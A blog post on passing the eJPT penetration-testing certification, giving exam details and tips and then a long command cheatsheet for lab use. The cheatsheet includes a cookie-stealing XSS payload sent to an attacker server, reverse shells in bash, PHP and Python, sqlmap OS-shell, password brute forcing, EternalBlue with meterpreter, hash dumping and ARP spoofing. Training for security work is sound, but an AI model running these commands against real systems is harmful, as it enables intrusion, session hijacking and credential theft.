How To Pass Your eJPT Exam

Hello hackers, Hope you are well !! 👋

Recently i have completed the eLearnSecurity Junior Penetration Tester (eJPT) certification, I’ve had a few people asked me about my experience, So i decided to write this post detailing the commands and techniques I used to pass. The hope is that this resource can be helpful to other student studying for this certification.

Introduction

The eLearnSecurity Junior Penetration Tester (eJPT) is a 100% practical certification on penetration testing and information security essentials. Bypassing the exam, a cybersecurity professional proves to employers they are ready for a rewarding new career.

Cost: 200$ (exam voucher)
Duration of exam: 72 Hours (3 days)
Questions: 20 questions
payment options: Paypal/credit card
Material: (Lab, video, PDF)

Prerequisites

Nothing, INE material is enough even non-technical people can understand easily, But i really recommend that you have:

basic understanding of networking concepts
Simple manual web application security assessment and exploitation
Understanding of information gathering techniques
Understanding of the penetration testing process

Outcome

By obtaining the eJPT, your skills in the following areas will be assessed and certified:

TCP/IP
IP routing
LAN protocols and devices
HTTP and web technologies
Essential penetration testing processes and methodologies
Basic vulnerability assessment of networks
Basic vulnerability assessment of web applications
Exploitation with Metasploit
Simple web application manual exploitation
Basic information gathering and reconnaissance
Simple scanning and profiling the target

Course Sections

INE offer a free starter pass subscription that include many learning path and one of them is Penetration Testing Student (eJPT)

visit INE starter-pass page
register you account
clam your PTS free course and start learning

eLearnSecurity divided the PTS course into three sections and modules, as can be seen below.

1- Preliminary Skills – Prerequisites

Introduction
Networking
Web Applications
Penetration Testing

2- Preliminary Skills – Programming

Introduction
C++
Python
Command Line Scripting

3- Penetration Testing

Information Gathering
Footprinting & Scanning
Vulnerability Assessment
Web Attacks
System Attacks
Network Attacks
Next Steps

⭐ The eJPT exam doesn’t require you to go through the programming section to pass the exam so you can skip this part for now if you`re planning to get more deeper in programming after this course.

eLearnSecurity packed the course with good information, but it’s showing its age. Don’t let that deter you from taking it because I really think they did a great job with the hands-on part of the course.

That brings me to the labs included with each module. Those labs are the meat and potatoes of the course. If you are a novice in the offensive security field, you will definitely learn a lot from it.

Exam Format

You will be given 20 multiple-choice questions (MCQs), and you must properly answer 15 of them in order to pass the test. additionally, every question is based on practical. You can check the materials during the exam because this exam is open-book.

Tools (For Exam)

OpenVPN, Nmap, Nessus, fping, dirt buster, burp suite, john the ripper, hashcat, Metasploit, hydra, Nmap, Wireshark, sublist3r, Netcat, dirb, enum4linux, samrdump, smbclient

Tips for the exam

complete course material with labs
understand the concept of Pivoting( very important)
in the exam go through the pentesting phase and connect all dots.
Take notes for reference, Make new tabs in the terminal to do other tasks
do not take stress it is a very easy exam. consider you are solving CTF.

Final Thoughts

after taking eJPT certification one thing I can say it is one of the best exams I ever attended. and highly recommend it to every beginner who wants to start their journey in cybersecurity.

Commands cheatsheet

nmap + fping

hosts discovery fping:

fping -a -g 10.10.10.0/24 2> fping.txt

hosts discovery nmap:

nmap -sn 10.10.10.0/24 > hosts.txt
nmap -sn -T4 10.10.30.0/24 -oG - | awk '/Up$/{print $2}'

open ports scan (save to file):

nmap -Pn -sV -T4 -A -oN ports.txt -p- -iL hosts.txt --open

UDP port scan:

nmap -sU -sV 10.10.10.0/24

nmap vuln scan example:

nmap --script vuln --script-args=unsafe=1 -iL hosts.txt

nmap SYN flood example:

watch -n 10 "nmap -e wlan0 -Pn -T5 -S 192.168.0.253 192.168.0.251"

masscan

masscan open only examples:

sudo masscan -p 21,22,80,8080,445,9200 --rate 64000 --wait 0 --open-only -oG masscan.gnmap 10.0.0.0/24
sudo masscan -iL hosts.list -p0-65535 --rate 64000 --open-only

httprint

httprint banner grabling:

httprint -P0 -s /usr/share/httprint/signatures.txt -h 10.10.10.15

route

add a route in kali/parrot:

ip route add 192.168.88.0/24 via 10.10.34.1

routing table:

netstat -rn
Kernel IP routing table
Destination      Gateway        Genmask         Flags   MSS Window  irtt Iface
...
192.168.88.0     10.10.34.1     255.255.255.0   UG        0 0          0 tap0
...

subdomains

discovery subdomain of a target by sublist3r:

sublist3r -d company.com

wireshark

filter by ip

ip.add == 10.10.10.9

filter by dest ip

ip.dest == 10.10.10.15

filter by source ip

ip.src == 10.10.16.33

filter by tcp port

tcp.port == 25

filter by ip addr and port

ip.addr == 10.10.14.22 and tcp.port == 8080

filter SYN flag

tcp.flags.syn == 1 and tcp.flags.ack ==0

broadcast filter

eth.dst == ff:ff:ff:ff:ff:ff

web app enum (gobuster)

nc -v 10.10.10.14 80
HEAD / HTTP/1.0

openssl s_client -connect 10.10.10.14:443

dirb http://10.10.10.123/
dirb https://10.10.10.5 /usr/share/dirb/wordlists/vulns/apache.txt
dirb https://192.168.16.33 /usr/share/dirb/wordlists/common.txt

gobuster dir -u http://10.10.10.160 -w /usr/share/wordlists/dirb/common.txt -t 16

web app enum (ffuf)

directory discovery:

ffuf -w wordlist.txt -u http://example.com/FUZZ

file discovery:

ffuf -w wordlist.txt -u http://example.com/FUZZ -e .aspx,.php,.txt,.html

output of responses with status code:

ffuf -w /usr/share/wordlists/dirb/small.txt -u http://example.com/FUZZ -mc 200,301

the -maxtime flag offers to end the ongoing fuzzing after the specified time in seconds:

ffuf -w wordlist.txt -u http://example.com/FUZZ -maxtime 60

number of threads:

ffuf -w wordlist.txt -u http://example.com/FUZZ -t 64

sqlmap

determine the databases:

sqlmap -u http://10.10.10.15/?id=4 --dbs

determine the tables:

sqlmap -u http://10.10.10.15/?id=4 -D dbname --tables

dump a table's data:

sqlmap -u http://10.10.10.15/?id=4 -D dbname -T table --dump

try to get os-shell:

sqlmap -u http://10.10.10.15/?id=4 --os-shell

xss

check example:

<script>alert("hack :)")</script>

hijack cookie through xss

there are four components as follows:

attacker client pc
attacker logging server
vulnerable server
victim client pc

attacker: first finds a vulnerable server and its breach point.
attacker: enter the following snippet in order to hijack the cookie kepts by victim client pc (p.s.: the ip address, 192.168.99.102, belongs to attacker logging server in this example):

<script>var i = new Image();i.src="http://192.168.99.102/log.php?q="+document.cookie;</script>

attacker: log into attacker logging server (P.S.: it is 192.168.99.102 in this example), and execute the following command:

nc -vv -k -l -p 80

attacker: when victim client pc browses the vulnerable server, check the output of the command above.
attacker: after obtaining the victim's cookie, utilize a firefox's add-on called Cookie Quick Manager to change to the victim's cookie in an effort to hijack the victim's privilege.

bruteforce (hydra, john, hashcat)

wordlist generation

cewl example.com -m 3 -w wordlist.txt

hydra http basic auth brute

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-head /admin/

hydra brute http digest

hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-get /admin/

hydra brute http post form

hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed"

hydra brute http authenticated post form

hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v"

hydra brute

hydra -f -v -V -L users.txt -P rockyou-15.txt -s 2223 -f ssh://10.10.10.17
hydra -v -V -l admin -P rockyou-10.txt ssh://10.10.10.18

combine passwd with shadow file for john the ripper:

unshadow passwd shadow > crack.hash

john the ripper bruteforce:

john -wordlist /usr/share/wordlists/rockyou.txt crack.hash
john -wordlist /usr/share/wordlists/rockyou.txt -users users.txt test.hash

hashcat:

hashcat -m 1000 -a 0 -o found.txt --remove crack.hash rockyou-10.txt

wpscan

wpscan --url http://10.10.10.14 --enumerate u
wpscan --url example.com -e vp --plugins-detection mixed --api-token API_TOKEN
wpscan --url example.com -e u --passwords /usr/share/wordlists/rockyou.txt
wpscan --url example.com -U admin -P /usr/share/wordlists/rockyou.txt

mysql

scan:

nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 10.10.10.13

examples:

mysql -h 10.10.10.23 -P 13306 -u root -p -e "show databases;"
mysql -h 10.10.10.23 -P 13306 -u root -p -e "use mydb;show tables;"
mysql -h 10.10.10.23 -P 13306 -u root -p -e "use mydb;select * from users;"

msfconsole

search exploit

msf> search cve:2011 port:135 platform:windows target:XP

basic

msfconsole
use auxiliary/scanner/mssql/mssql_login
set rhosts 10.10.10.110
set rports 1433
set username admin
set password 12345
set verbose true
run

msfconsole examples

msssql enum

use auxiliary/scanner/mssql/mssql_enum
set username admin
set password 12345
set rhosts 10.10.10.177
set rport 1433
run

mssql payload

use exploit/windows/mssql/mssql_payload
set rhosts 10.10.10.177
set rport 1433
set srvport 53
set username admin
set password qwerty
set payload windows/x64/meterpreter_reverse_tcp

ssh login enum (brute)

use auxiliary/scanner/ssh/ssh_login
show options
set rhosts 10.10.10.133
set user_file /usr/share/ncrack/minimal.usr
set pass_file /usr/share/ncrack/minimal.usr
set verbose true
run

eternal blue example:

use exploit/windows/smb/ms17_010_eternalblue
show options
set payload windows/x64/meterpreter/reverse_tcp

meterpreter

meterpreter>run autoroute -s 172.16.50.0/24
background

sessions -l
sessions -i 1

sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac

download x /root/
upload x C:\\Windows
shell

use post/windows/gather/hashdump

windows shares with null sessions

enumeration with kali/parrot tools:

nmblookup -A 10.16.64.223
smbclient -L //10.16.64.223 -N share
smbclient //10.16.64.223/share -N mount

enum4linux -a 10.10.10.13

enumeration with nmap:

ll /usr/share/nmap/scripts/ | grep smb-enum-
-rw-r--r-- 1 root root  4846 Jan  9  2019 smb-enum-domains.nse
-rw-r--r-- 1 root root  5931 Jan  9  2019 smb-enum-groups.nse
-rw-r--r-- 1 root root  8045 Jan  9  2019 smb-enum-processes.nse
-rw-r--r-- 1 root root 27262 Jan  9  2019 smb-enum-services.nse
-rw-r--r-- 1 root root 12057 Jan  9  2019 smb-enum-sessions.nse
-rw-r--r-- 1 root root  6923 Jan  9  2019 smb-enum-shares.nse
-rw-r--r-- 1 root root 12531 Jan  9  2019 smb-enum-users.nse

nmap --script=smb-enum-users 192.168.1.10

null sessions

Use "enum4linux -n" to make sure if "<20>" exists:

enum4linux -n 192.168.1.10

If "<20>" exists, it means Null Session could be exploited. Utilize the following command to get more details:

enum4linux 192.168.1.10

If confirmed that Null Session exists, you can remotely list all share of the target:

smbclient -L WORKGROUP -I 192.168.1.10 -N -U ""

You also can connect the remote server by applying the following command:

smbclient \\\\192.168.1.10\\c$ -N -U ""

Download those files stored on the share drive:

smb: \> get Congratulations.txt

ARP spoofing

echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -i tap0 -t 10.13.37.100 -r 10.13.37.101

reverse shell

bash

bash -i >& /dev/tcp/10.0.14.22/4444 0>&1

php one line (bash)

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.14.10/4444 0>&1'"); ?>

python

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.22",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

Thanks For Reading

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Last updated 2 years ago